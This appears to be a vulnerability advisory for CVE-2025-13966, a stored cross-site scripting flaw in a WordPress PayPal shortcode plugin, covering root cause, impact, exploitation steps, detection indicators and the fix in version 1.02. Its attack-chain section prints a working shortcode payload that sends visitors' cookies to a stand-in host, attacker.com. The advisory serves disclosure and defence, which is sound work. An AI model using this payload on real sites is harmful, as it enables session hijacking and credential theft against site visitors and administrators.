CVE-2025-13966: 
WordPress vulnerability analysis and mitigation

CVE-2025-13966 is a Stored Cross-Site Scripting (XSS) vulnerability in the Paypal Payment Shortcode plugin for WordPress. It affects all versions up to and including 1.01, where insufficient input sanitization and output escaping of the buttom_image parameter in the [paypal-shortcode] shortcode allows authenticated attackers with Contributor-level access or above to inject arbitrary web scripts. The vulnerability was published on December 12, 2025, and assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerable code resides in sls-paypal-payments-shortcode.php, where the buttom_image shortcode parameter is rendered without proper sanitization or escaping, allowing injected script content to be stored and later executed in the browser of any user visiting the affected page. Exploitation requires only Contributor-level WordPress authentication, making the attack surface relatively broad on multi-author sites. The vulnerable code is publicly visible in the WordPress plugin repository (WordPress Trac).

Successful exploitation allows an authenticated attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of all subsequent visitors — including administrators. This can lead to session cookie theft, credential harvesting, defacement, or redirection to malicious sites. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the plugin itself to the broader WordPress site and its users (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-13966 as of the available data. The EPSS score is approximately 0.032%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits opportunistic mass exploitation but remains a realistic threat on sites with open contributor registration (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Paypal Payment Shortcode plugin version ≤1.01 (e.g., via WPScan or manual inspection of plugin directories).
2. Obtain Contributor Access: Register or compromise a Contributor-level (or higher) WordPress account on the target site.
3. Create or Edit a Post: Navigate to the WordPress editor and create or edit a post/page where the [paypal-shortcode] shortcode can be inserted.
4. Inject Malicious Payload: Insert the shortcode with a crafted buttom_image parameter containing a JavaScript payload, e.g., [paypal-shortcode buttom_image="\"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
5. Publish the Page: Submit or publish the post, causing the malicious script to be stored in the database.
6. Trigger Execution: When any user (including administrators) visits the injected page, the stored script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing script tags or encoded JavaScript within shortcode parameters.
• Database: WordPress wp_posts table entries containing [paypal-shortcode] shortcodes with buttom_image values that include <script>, javascript:, or encoded equivalents (e.g., %3Cscript%3E).
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the [paypal-shortcode] shortcode, potentially carrying cookie or session data.
• File System: Unexpected modifications to posts or pages in the WordPress database referencing the paypal-payments-shortcode plugin with anomalous parameter values.

Site administrators should update the Paypal Payment Shortcode plugin to version 1.02 or later, which addresses the insufficient sanitization of the buttom_image parameter. If an immediate update is not possible, restricting Contributor-level registration or disabling the plugin entirely serves as a temporary workaround. Administrators should also audit existing posts and pages for any injected shortcode payloads (Wordfence).

Wordfence disclosed and reported this vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, highlighting it among other plugin-level XSS issues. No significant independent researcher commentary or broader media coverage has been identified beyond standard vulnerability database aggregation (Wordfence Blog).